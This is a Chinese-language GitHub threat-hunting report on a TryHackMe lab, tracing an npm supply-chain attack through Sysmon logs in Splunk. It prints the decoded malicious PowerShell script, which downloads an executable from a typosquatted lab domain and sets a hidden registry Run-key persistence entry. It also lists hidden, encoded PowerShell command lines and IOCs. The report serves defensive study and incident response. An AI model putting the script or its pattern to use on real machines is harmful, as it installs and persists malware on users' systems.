Prajwal-Manjunath/Threat-Hunting-Simulation-Lab

GitHub: Prajwal-Manjunath/Threat-Hunting-Simulation-Lab

一份基于 TryHackMe 平台的威胁狩猎实验报告,详细记录了针对 npm 恶意包供应链攻击的完整调查过程,涵盖从初始访问到持久化实现的攻击链还原。

Stars: 0 | Forks: 0

# 🔍 威胁狩猎报告 - Health Hazard ## **平台:** TryHackMe - TryDetectThis **类别:** 威胁狩猎 / DFIR ## 目标 我们得到了一个场景,其中来自 TryDetectThis Intelligence 的威胁情报识别出了一场针对开源生态系统(特别是 npm 和 Python 包仓库)的协同供应链攻击活动。 作为威胁猎人,我的任务是在 TryGovMe 环境中开展全面的狩猎会话,以: - ✅ 验证狩猎假设 - ✅ 审查来自外部来源的 IOC - 🔄 重建完整的攻击链 - 🔄 确定事件的影响范围 - 🔄 生成最终的威胁狩猎报告 ## 了解背景 ### 场景描述 一位名叫 Tom 的联合创始人正在搭建公司的第一个网站。他按照一篇教程安装了一些 npm 包,随后系统中出现了一个奇怪的文件——没有人放置过它,它不匹配任何依赖项,也没有运行。它只是在等待。 ### 假设 这对应了我们所狩猎的三个 MITRE ATT&CK 战术: | 战术 | 技术 | 描述 | |---|---|---| | 初始访问 | T1195.002 | 供应链妥协 | | 执行 | T1059.001 | PowerShell | | 持久化 | T1547.001 | 注册表运行键 | ### IOC 告诉我的信息(在我进行搜索之前) 在接触 SIEM 之前,提供的 IOC 已经准确指明了需要寻找的内容: **基于主机的 IOC:** | 类型 | 值 | |---|---| | 恶意 npm 包 | `healthchk-lib@1.0.1` | | 触发机制 | `package.json` 中的 `postinstall` 钩子 | | 执行的进程 | `powershell.exe -NoP -W Hidden -EncodedCommand` | | 下载的文件 | `%APPDATA%\SystemHealthUpdater.exe` | | 持久化位置 | `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` | | 持久化键值 | `Windows Update Monitor` | **基于网络的 IOC:** | 类型 | 值 | |---|---| | 下载 URL | `http://global-update.wlndows.thm/SystemHealthUpdater.exe` | | 主机名 | `global-update.wlndows.thm` | | 协议 / 端口 | HTTP / 端口 80 | **搜索前的关键观察:** 域名 `wlndows.thm` 是 `windows` 的一个仿冒域名,旨在乍一看显得合法。这是攻击者故意使用的防御规避技术。 阅读 IOC 让我们在运行任何查询之前就了解了可能的攻击流程: 1. Tom 运行了 `npm install healthchk-lib@1.0.1` 2. `postinstall` 钩子自动触发 3. PowerShell 使用编码命令在隐藏状态下运行 4. 它从仿冒域名下载了 `SystemHealthUpdater.exe` 5. 写入注册表运行键以实现持久化 ## 调查过程 ### 使用的工具 **Splunk SIEM** 日志来源:`WinEventLog:Microsoft-Windows-Sysmon/Operational` ### 什么是 Sysmon 以及它为何重要? Sysmon(系统监视器)是一项 Windows 服务,用于记录详细的进程活动。我重点狩猎的关键事件代码: | 事件代码 | 含义 | |---|---| | 1 | 进程创建 | | 3 | 网络连接 | | 11 | 文件在磁盘上创建 | | 13 | 注册表值设置 | ### 如何阅读 Sysmon 日志 每一条 Sysmon EventCode 1 日志都会告诉你四件事: ``` Image = WHAT process ran CommandLine = EXACTLY how it was launched ParentImage = WHO launched it ParentCommandLine = HOW the parent launched it ``` 这就是构建进程树的方法,而进程树正是你重建攻击链的方式。 ### 阶段 1 查询:初始访问 **搜索:** ``` index=* "healthchk-lib" ``` 这个广泛的搜索旨在查找所有日志中提及该恶意包的任何记录。 ## 调查结果 - 阶段 1:初始访问与执行 ### 我们的发现 四条 Sysmon 日志记录讲述了初始访问的完整故事。以下是每条日志的详细解析: #### 日志 1 - `10:58:24` | EventCode 1 | npm install 运行 | 字段 | 值 | |---|---| | EventCode | 1 (进程创建) | | Image | `C:\Program Files\nodejs\node.exe` | | CommandLine | `node.exe npm-cli.js install healthchk-lib@1.0.1` | | ParentImage | `C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe` | **这告诉了我们:** Tom 自己打开了 PowerShell(他的合法终端)并运行了 `npm install healthchk-lib@1.0.1`。这就是初始访问的时刻——Tom 在不知情的情况下安装了恶意包。接下来发生的一切都在他不知情的情况下自动进行。 #### 日志 2 - `10:58:27` | EventCode 11 | 恶意脚本被写入磁盘 | 字段 | 值 | |---|---| | EventCode | 11 (文件创建) | | Image | `C:\Program Files\nodejs\node.exe` | | TargetFilename | `C:\Development\node_modules\healthchk-lib\scripts\postinstall.ps1` | **这告诉了我们:** 作为 npm install 过程的一部分,node.exe 解压并将 `postinstall.ps1` 写入磁盘。一个合法的健康检查库没有任何理由在任何地方写入 PowerShell 脚本。这个文件出现在磁盘上本身就是一个危险信号。 #### 日志 3 - `10:58:27` | EventCode 1 | cmd.exe 被 node.exe 衍生 | 字段 | 值 | |---|---| | EventCode | 1 (进程创建) | | Image | `C:\Windows\System32\cmd.exe` | | ParentImage | `C:\Program Files\nodejs\node.exe` | | ParentCommandLine | `node.exe npm-cli.js install healthchk-lib@1.0.1` | **这告诉了我们:** node.exe 自动衍生了 cmd.exe。Tom 并没有手动打开 cmd.exe——这是恶意包 `package.json` 中的 `postinstall` 钩子在后台静默触发。Tom 什么也没看到。 #### 日志 4 - `10:58:27` | EventCode 1 | 隐藏的 PowerShell 被衍生 | 字段 | 值 | |---|---| | EventCode | 1 (进程创建) | | Image | `C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe` | | CommandLine | `powershell.exe -NoP -W Hidden -EncodedCommand ` | | ParentImage | `C:\Windows\System32\cmd.exe` | | ParentCommandLine | `cmd.exe /d /s /c powershell.exe -NoP -W Hidden -EncodedCommand` | **这告诉了我们:** cmd.exe 使用编码命令启动了一个隐藏的 PowerShell 实例。所使用的标志是故意的防御规避手段: | 标志 | 含义 | |---|---| | `-NoP` | No Profile:不加载 PowerShell 配置文件,更快更隐蔽 | | `-W Hidden` | Hidden window:不显示可见的终端窗口 | | `-EncodedCommand` | 命令采用 Base64 编码:对日志混淆了真实意图 | 父进程 cmd.exe 命令中的 `/c` 标志意味着 cmd.exe 被指示运行 PowerShell 后立即退出,因此 cmd.exe 会迅速消失并留下更少的痕迹。 ### 进程树 (阶段 1) ``` Tom's PowerShell ← Tom did this intentionally ↓ node.exe ← Legitimate (npm install) ↓ cmd.exe ← SUSPICIOUS (postinstall hook fired) ↓ powershell.exe ← MALICIOUS (hidden, encoded command) -NoP -W Hidden -EncodedCommand ``` **关键分析师洞察:** `node.exe → cmd.exe → powershell.exe -W Hidden -EncodedCommand` 不是正常行为。合法软件不会衍生带有编码命令的隐藏 PowerShell。仅凭这种父子关系就足以触发一条检测规则。 ### 假设验证 - 阶段 1 | 假设组成部分 | 状态 | 证据 | |---|---|---| | 受损的第三方包被用于初始访问 | ✅ 已确认 | `healthchk-lib@1.0.1` postinstall 钩子在安装时触发 | | 初始访问之后的恶意执行 | ✅ 已确认 | node.exe 衍生了带有编码命令的隐藏 PowerShell | ## 调查结果 - 阶段 2:执行 ### 使用的查询 ``` index=* "global-update.wlndows.thm" ``` ### 我们的发现 #### 日志 5 - `10:58:29` | EventCode 22 | 对仿冒域名的 DNS 查询 | 字段 | 值 | |---|---| | EventCode | 22 (DNS 查询) | | Image | `C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe` | | QueryName | `global-update.wlndows.thm` | | QueryResults | `::ffff:127.0.0.1` | | ProcessGuid | `{c5d2b969-9053-6856-e701-000000002a01}` | **这告诉了我们:** 在恶意 PowerShell 衍生两秒钟后,它发起了一次 DNS 查询来解析 `global-update.wlndows.thm`——这正是我们 IOC 中的仿冒域名。这是 PowerShell 的 `Invoke-WebRequest` 试图下载 `SystemHealthUpdater.exe`。ProcessGuid 与日志 4 中的隐藏 PowerShell 相匹配,直接将此网络活动与恶意进程联系起来。 该域名解析为 `127.0.0.1` (localhost) 是因为这是一个实验室环境。在真实的攻击中,它会解析为互联网上受攻击者控制的服务器。 ### 解码恶意脚本 来自日志 4 的 Base64 编码命令使用 CyberChef(From Base64 → Decode UTF-16LE)进行了解码。完整的解码脚本: ``` $dest = "$env:APPDATA\SystemHealthUpdater.exe" $url = "http://global-update.wlndows.thm/SystemHealthUpdater.exe" # 下载文件 Invoke-WebRequest -Uri $url -OutFile $dest # Base64 编码命令 $encoded = [Convert]::ToBase64String( [Text.Encoding]::Unicode.GetBytes("Start-Process '$dest'") ) # 构建持久化命令 $runCmd = 'powershell.exe -NoP -W Hidden -EncodedCommand ' + $encoded # 添加到注册表以实现持久化 Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' ` -Name 'Windows Update Monitor' -Value $runCmd ``` **每个部分的作用:** | 部分 | 代码 | 作用 | |---|---|---| | 1 | `$dest` / `$url` | 设置下载目标和源 URL | | 2 | `Invoke-WebRequest` | 静默下载 `SystemHealthUpdater.exe` 到 AppData | | 3 | `$encoded` / `$runCmd` | 构建一个新的隐藏 PowerShell 命令来启动该 exe | | 4 | `Set-ItemProperty` | 将该命令写入注册表运行键以实现持久化 | 该脚本在单次执行中同时处理了执行**和**持久化。一个 PowerShell 进程完成了三个恶意操作。 ## 调查结果 阶段 3:持久化 ### 使用的查询 ``` index=* "Windows Update Monitor" ``` ### 我们的发现 #### 日志 6 - `10:58:29` | EventCode 13 | 注册表运行键被写入 | 字段 | 值 | |---|---| | EventCode | 13 (注册表值设置) | | Image | `C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe` | | TargetObject | `HKU\S-1-5-21-...\Software\Microsoft\Windows\CurrentVersion\Run\Windows Update Monitor` | | Details | `powershell.exe -NoP -W Hidden -EncodedCommand ` | | RuleName | `T1060,RunKey` | | ProcessGuid | `{c5d2b969-9053-6856-e701-000000002a01}` | **这告诉了我们:** 恶意 PowerShell 写入了一个名为 `Windows Update Monitor` 的注册表运行键——这个名称是故意设计的,以混入合法的 Windows 进程。每次 Tom 登录 Windows 时,此键都会静默触发一个隐藏的 PowerShell 命令,从他的 AppData 文件夹启动 `SystemHealthUpdater.exe`。 `Details` 字段包含另一个 Base64 编码的命令,解码后为: ``` Start-Process 'C:\Users\Administrator\AppData\Roaming\SystemHealthUpdater.exe' ``` 注意,Sysmon 本身使用 `RuleName: T1060,RunKey` 对此进行了标记,确认这是一种已在检测规则集中映射的已知持久化技术。 **关键关联观察:** 日志 4、5 和 6 中的 `ProcessGuid` 是相同的——`{c5d2b969-9053-6856-e701-000000002a01}`。一个单一的恶意 PowerShell 进程负责了编码执行、DNS 查询和注册表持久化写入。这是将整个执行阶段串联起来的线索。 ## ✅ 最终攻击链 ``` [10:58:24] Tom opens PowerShell and runs npm install healthchk-lib@1.0.1 ↓ [10:58:27] node.exe writes postinstall.ps1 to disk C:\Development\node_modules\healthchk-lib\scripts\postinstall.ps1 ↓ [10:58:27] node.exe spawns cmd.exe via postinstall hook Tom sees nothing — happens silently in the background ↓ [10:58:27] cmd.exe spawns powershell.exe -NoP -W Hidden -EncodedCommand Hidden window, no profile, Base64 obfuscated payload ↓ [10:58:29] PowerShell makes DNS query to global-update.wlndows.thm Attempts to download SystemHealthUpdater.exe to %APPDATA% ↓ [10:58:29] PowerShell writes registry Run key HKCU\...\Run\Windows Update Monitor Value: powershell.exe -NoP -W Hidden -EncodedCommand ↓ [Every login] SystemHealthUpdater.exe launches silently Attacker maintains persistent access to Tom's machine ``` ## ✅ 最终假设验证 攻击者在 npm 包 `healthchk-lib@1.0.1` 中嵌入了一个恶意的 `postinstall` 钩子。当 Tom 运行 `npm install` 时,该钩子自动执行了一个隐藏的 PowerShell 命令,该命令从仿冒域名下载了有效载荷,并通过注册表运行键建立了持久化;而 Tom 除了执行常规的包安装之外,无需进行任何其他操作。 ## ✅ 范围与受影响资产 | 资产 | 详情 | |---|---| | 受损主机 | `PAW-TOM` | | 受影响用户 | `PAW-TOM\itadmin-tom` | | 恶意包 | `healthchk-lib@1.0.1` | | 暂存的有效载荷 | `%APPDATA%\SystemHealthUpdater.exe` | | 持久化键 | `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows Update Monitor` | | 联系的 C2 域名 |global-update.wlndows.thm` | | 攻击持续时间 | 所有活动在 5 秒内发生 (10:58:24 → 10:58:29) | ## MITRE ATT&CK 总结 | 战术 | 技术 ID | 技术名称 | 证据 | |---|---|---|---| | 初始访问 | T1195.002 | 供应链妥协 | `healthchk-lib@1.0.1` postinstall 钩子 | | 执行 | T1059.001 | PowerShell | `powershell.exe -NoP -W Hidden -EncodedCommand` | | 防御规避 | T1027 | 混淆的文件或信息 | 贯穿始终的 Base64 编码命令 | | 命令与控制 | T1071.001 | Web 协议 | 通过端口 80 进行 HTTP 下载 | | 持久化 | T1547.001 | 注册表运行键 / 启动文件夹 | `HKCU\...\Run\Windows Update Monitor` | ## 🔗 TryHackMe 公开总结 在此处查看官方的已完成模拟报告: 👉 [Health Hazard — 公开总结](https://tryhackme.com/threat-hunting-sim/public-summary/ca58db9a8263b31b377c5cf36f66257f837a4bc79fee04495bd970a958b0c0942b53ced27ca5d11d1efdc6ba1b4d1b33) ## *报告由 Prajwal Manjunath 撰写 | [GitHub](https://github.com/Prajwal-Manjunath) | [TryHackMe](https://tryhackme.com/p/KnightZeusDracobolt)* *在 Claude (Anthropic) 作为教学分析师的指导下进行调查和记录。*
标签:AI合规, DAST, IOCs, IPv6, npm恶意包, OpenCanary, PowerShell, TryHackMe, 供应链攻击, 初始访问, 安全事件响应, 安全实验, 安全报告, 开源生态安全, 恶意软件分析, 数字取证与应急响应, 文档安全, 暗色界面, 注册表自启动, 漏洞分析, 网络安全, 路径探测, 隐私保护